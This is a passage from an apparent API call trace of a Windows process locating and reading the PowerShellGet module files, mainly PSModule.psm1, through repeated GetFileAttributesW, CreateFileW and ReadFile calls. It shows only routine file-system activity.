(x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Format.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.format.ps1xml")) returned 0x20 [0114.772] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Format.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.format.ps1xml")) returned 0x20 [0114.808] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Resource.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.resource.psd1")) returned 0x20 [0114.812] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Resource.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.resource.psd1")) returned 0x20 [0114.818] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGetModuleInfo.xml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5b [0114.819] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGetModuleInfo.xml", nBufferLength=0x5b, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGetModuleInfo.xml", lpFilePart=0x0) returned 0x5a [0114.819] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572dcf8) returned 1 [0114.819] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGetModuleInfo.xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psgetmoduleinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x572dfbc | out: lpFileInformation=0x572dfbc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0114.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572dcf4) returned 1 [0114.820] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0114.939] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x55 [0114.939] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", nBufferLength=0x55, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", lpFilePart=0x0) returned 0x54 [0114.939] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572d820) returned 1 [0114.939] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1"), fInfoLevelId=0x0, lpFileInformation=0x228b078 | out: lpFileInformation=0x228b078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499c9860, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8caa9)) returned 1 [0114.939] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572d81c) returned 1 [0114.940] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x55 [0114.940] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", nBufferLength=0x55, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", lpFilePart=0x0) returned 0x54 [0114.940] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572d9c4) returned 1 [0114.940] CreateFileW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3f8 [0114.940] GetFileType (hFile=0x3f8) returned 0x1 [0114.940] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572d9c0) returned 1 [0114.940] GetFileType (hFile=0x3f8) returned 0x1 [0114.941] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x0 [0114.941] ReadFile (in: hFile=0x3f8, lpBuffer=0x228be7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x228be7c*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0114.944] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x1000 [0114.944] ReadFile (in: hFile=0x3f8, lpBuffer=0x228be7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x228be7c*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0114.959] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x2000 [0114.959] ReadFile (in: hFile=0x3f8, lpBuffer=0x228be7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x228be7c*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0114.960] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x3000 [0114.960] ReadFile (in: hFile=0x3f8, lpBuffer=0x228be7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x228be7c*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0114.960] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x4000 [0114.960] ReadFile (in: hFile=0x3f8, lpBuffer=0x228be7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x228be7c*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0114.961] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x5000 [0114.961] ReadFile (in: hFile=0x3f8, lpBuffer=0x228be7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x228be7c*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0114.961] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x6000 [0114.961] ReadFile (in: hFile=0x3f8, lpBuffer=0x228be7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x228be7c*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0114.961] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x7000 [0114.962] ReadFile (in: hFile=0x3f8, lpBuffer=0x228be7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x228be7c*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0114.962] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x8000 [0114.962] ReadFile (in: hFile=0x3f8, lpBuffer=0x228be7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x228be7c*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0114.962] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x9000 [0114.962] ReadFile (in: hFile=0x3f8, lpBuffer=0x228be7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x228be7c*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0114.963] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0xa000 [0114.964] ReadFile (in: hFile=0x3f8, lpBuffer=0x228be7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x228be7c*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0114.964] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0xb000 [0114.964] ReadFile (in: hFile=0x3f8, lpBuffer=0x228be7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x228be7c*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0114.964] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0xc000 [0114.964] ReadFile (in: hFile=0x3f8, lpBuffer=0x228be7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x228be7c*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0114.965] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0xd000 [0114.965] ReadFile (in: hFile=0x3f8, lpBuffer=0x228be7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x228be7c*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0114.965] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0xe000 [0114.965] ReadFile (in: hFile=0x3f8, lpBuffer=0x228be7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x228be7c*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0114.966] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0xf000 [0114.966] ReadFile (in: hFile=0x3f8, lpBuffer=0x228be7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x228be7c*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0114.968] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x10000 [0114.968] ReadFile (in: hFile=0x3f8, lpBuffer=0x228be7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x228be7c*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0114.968] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x11000 [0114.968] ReadFile (in: hFile=0x3f8, lpBuffer=0x228be7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x228be7c*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0114.969] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x12000 [0114.969] ReadFile (in: hFile=0x3f8, lpBuffer=0x228be7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x228be7c*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0114.969] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x13000 [0114.969] ReadFile (in: hFile=0x3f8, lpBuffer=0x228be7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x228be7c*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0114.970] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x14000 [0114.970] ReadFile (in: hFile=0x3f8, lpBuffer=0x228be7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x228be7c*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0114.970] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x15000 [0114.970] ReadFile (in: hFile=0x3f8, lpBuffer=0x228be7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x228be7c*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0114.971] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x16000 [0114.971] ReadFile (in: hFile=0x3f8, lpBuffer=0x228be7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x228be7c*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0114.971] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x17000 [0114.971] ReadFile (in: hFile=0x3f8, lpBuffer=0x228be7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x228be7c*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0114.971] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x18000 [0114.972] ReadFile (in: hFile=0x3f8, lpBuffer=0x228be7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x228be7c*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0114.972] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x19000 [0114.972] ReadFile (in: hFile=0x3f8, lpBuffer=0x228be7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x228be7c*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0114.973] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x1a000 [0114.973] ReadFile (in: hFile=0x3f8, lpBuffer=0x228be7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x228be7c*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0114.973] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x1b000 [0114.973] ReadFile (in: hFile=0x3f8, lpBuffer=0x228be7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x228be7c*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0114.974] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x1c000 [0114.974] ReadFile (in: hFile=0x3f8, lpBuffer=0x228be7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x228be7c*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0114.974] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x1d000 [0114.974] ReadFile (in: hFile=0x3f8, lpBuffer=0x228be7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x228be7c*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0114.975] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x1e000 [0114.975] ReadFile (in: hFile=0x3f8, lpBuffer=0x228be7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x228be7c*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0114.975] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x1f000 [0114.975] ReadFile (in: hFile=0x3f8, lpBuffer=0x228be7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x228be7c*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0114.975] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x20000 [0114.975] ReadFile (in: hFile=0x3f8, lpBuffer=0x228be7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x228be7c*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0114.976] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x21000 [0114.976] ReadFile (in: hFile=0x3f8, lpBuffer=0x228be7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x228be7c*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0114.977] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x22000 [0114.977] ReadFile (in: hFile=0x3f8, lpBuffer=0x228be7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x228be7c*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0114.977] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x23000 [0114.977] ReadFile (in: hFile=0x3f8, lpBuffer=0x228be7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x228be7c*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0114.978] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x24000 [0114.978] ReadFile (in: hFile=0x3f8, lpBuffer=0x228be7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x228be7c*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0114.978] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x25000 [0114.978] ReadFile (in: hFile=0x3f8, lpBuffer=0x228be7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x228be7c*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0114.979] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x26000 [0114.979] ReadFile (in: hFile=0x3f8, lpBuffer=0x228be7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x228be7c*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0114.979] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x27000 [0114.979] ReadFile (in: hFile=0x3f8, lpBuffer=0x228be7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x228be7c*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0114.979] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x28000 [0114.979] ReadFile (in: hFile=0x3f8, lpBuffer=0x228be7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x228be7c*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0114.980] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x29000 [0114.980] ReadFile (in: hFile=0x3f8, lpBuffer=0x228be7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x228be7c*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0114.981] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x2a000 [0114.981] ReadFile (in: hFile=0x3f8, lpBuffer=0x228be7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x228be7c*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0114.981] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x2b000 [0114.981] ReadFile (in: hFile=0x3f8, lpBuffer=0x228be7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x228be7c*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.141] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x2c000 [0115.141] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.141] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x2d000 [0115.141] ReadFile (in: hFile=0x3f8, lpBuffer=0x20650c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572da2c, lpOverlapped=0x0 | out: lpBuffer=0x20650c8*, lpNumberOfBytesRead=0x572da2c*=0x1000, lpOverlapped=0x0) returned 1 [0115.141] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x572da00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572da00*=0) returned 0x2e000 [0115.142] 